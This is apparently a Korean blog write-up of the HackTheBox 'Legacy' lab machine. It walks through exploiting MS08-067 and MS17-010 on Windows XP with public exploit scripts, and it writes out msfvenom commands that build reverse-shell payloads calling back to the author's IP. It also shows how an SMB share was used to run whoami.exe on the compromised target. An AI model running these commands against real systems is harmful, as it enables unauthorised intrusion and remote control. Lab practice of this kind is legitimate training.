https://0xdf.gitlab.io/2019/02/21/htb-legacy.html
HTB: Legacy
Since I’m caught up on all the live boxes, challenges, and labs, I’ve started looking back at retired boxes from before I joined HTB. The top of the list was legacy, a box that seems like it was one of the first released on HTB. It’s a very easy Wind
0xdf.gitlab.io
nmap
machine은 windows xp인 것 같다.
ms08-067, ms17-010에 취약하다. 둘다 remote code execution이므로 둘 다 고려해봐야할 듯 하다.
그 전에
smbmap -H 10.10.10.4
smbclient -N -L //10.10.10.4
그러나, not working
ms08-067
searchspsloit ms08-067...을 해봤으나 그냥 깃헙 검색해보는 게 나을 것 같아서 깃헙 검색했다.
https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py
코드를 보면 쉘 코드 자체를 바꿔야하는 것 같고, target, os, port 또한 인자로 줘야하는 듯 하다.
- 나에게 맞는 리버스 쉘코드 구하기
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=1234 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -v shellcode -f py -a x86 --platform windows
- os
아까 nmap결과에서 windows xp라는 것을 알 수 있다.
근데 코드 상에서 xp 관련 버전이 4개이다. 4개 다 해봐야 할 것 같다...(1, 5, 6, 7)
- target
10.10.10.4
- port
445
[**] 로컬 리스닝 포트 아니다. 리스닝 포트는 아까 쉘 코드 만들때 사용했다.
git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
cd impacket
pip install .(python2 -m pip install .)
python ms08-067.py 10.10.10.4 6 445
[**]
여기까지 하면 쉘이 붙어야하는데 안 붙는다. connection error가 뜨는데 머신이 불안정한가....
암튼 제대로 실행이 됐다면 user.txt, root.txt 모두 볼 수 있다.
ms17-010
- windows xp의 익스 코드를 찾는 건 참 힘들다...
- 익스 코드를 보면 username, password를 볼 수 있다. 롸업에서는 아무것도 입력하지 않고 그냥 하길래 왜 그럴까 찾아봤더니, metasploit에서 options를 보면 username, password가 나오는데 optional하다. 입력해도되고 안해도 되는 그런.... 따라서 그냥 비워놔도 되는 듯 하다.
- 익스 코드 찾아오기(버전 맞는지 확인)
wget https://raw.githubusercontent.com/helviojunior/MS17-010/master/send_and_execute.py
- 리버스 쉘따는 exe 파일 만들기
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=1234 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
- ms17-010 익스 코드 찾아서 익스 시도
python send_and_execute.py 10.10.10.4 eternalblue.exe
열어놓은 포트에 와서 붙는다.
그럼 이제 권한을 확인하고 flag를 확인할 차례이다.
그런데 whoami가 먹히지 않는다.
[**] 이럴 땐 echo %username% 으로 확인할 수도 있지만(환경변수) 여기선 먹히지 않는다.
우린 smb를 알고있다. smb를 이용해 whoami.exe를 공유하자.
- locate whoami.exe
- locate smbserver.py
- temp라는 공유 디렉터리?? 생성하고 /usr/share/windows-binaries/ 밑에 있는 프로그램들 공유하기
sudo /usr/share/doc/python3-impacket/examples/smbserver.py temp /usr/share/windows-binaries/
- 내 smb 접속하기
smbclient //10.10.14.2/temp
- (target machine) 내 kali에서 방금 만든 temp 공유 디렉터리 접근해서 whoami.exe 실행하기
\\10.10.14.2\temp\whoami.exe
두 flag 모두 확인할 수 있다.
윈도우 cmd 사용법
- 루트 디렉터리로 이동: cd\
- 파일 찾기(현재 디렉터리 이상에서만 검색되는 듯한..) : dir user.txt /s
- 텍스트 파일 열기(리눅스의 cat) : type user.txt
'워게임 > hackthebox' 카테고리의 다른 글
optimum 롸업 정리 (0) | 2021.09.28 |
---|---|
devel 롸업 정리 (0) | 2021.09.28 |
tartarsauce 롸업 정리(wpscan, tar) (0) | 2021.09.23 |
poison 롸업 정리 (0) | 2021.09.22 |
valentine 롸업 정리 (0) | 2021.09.20 |
댓글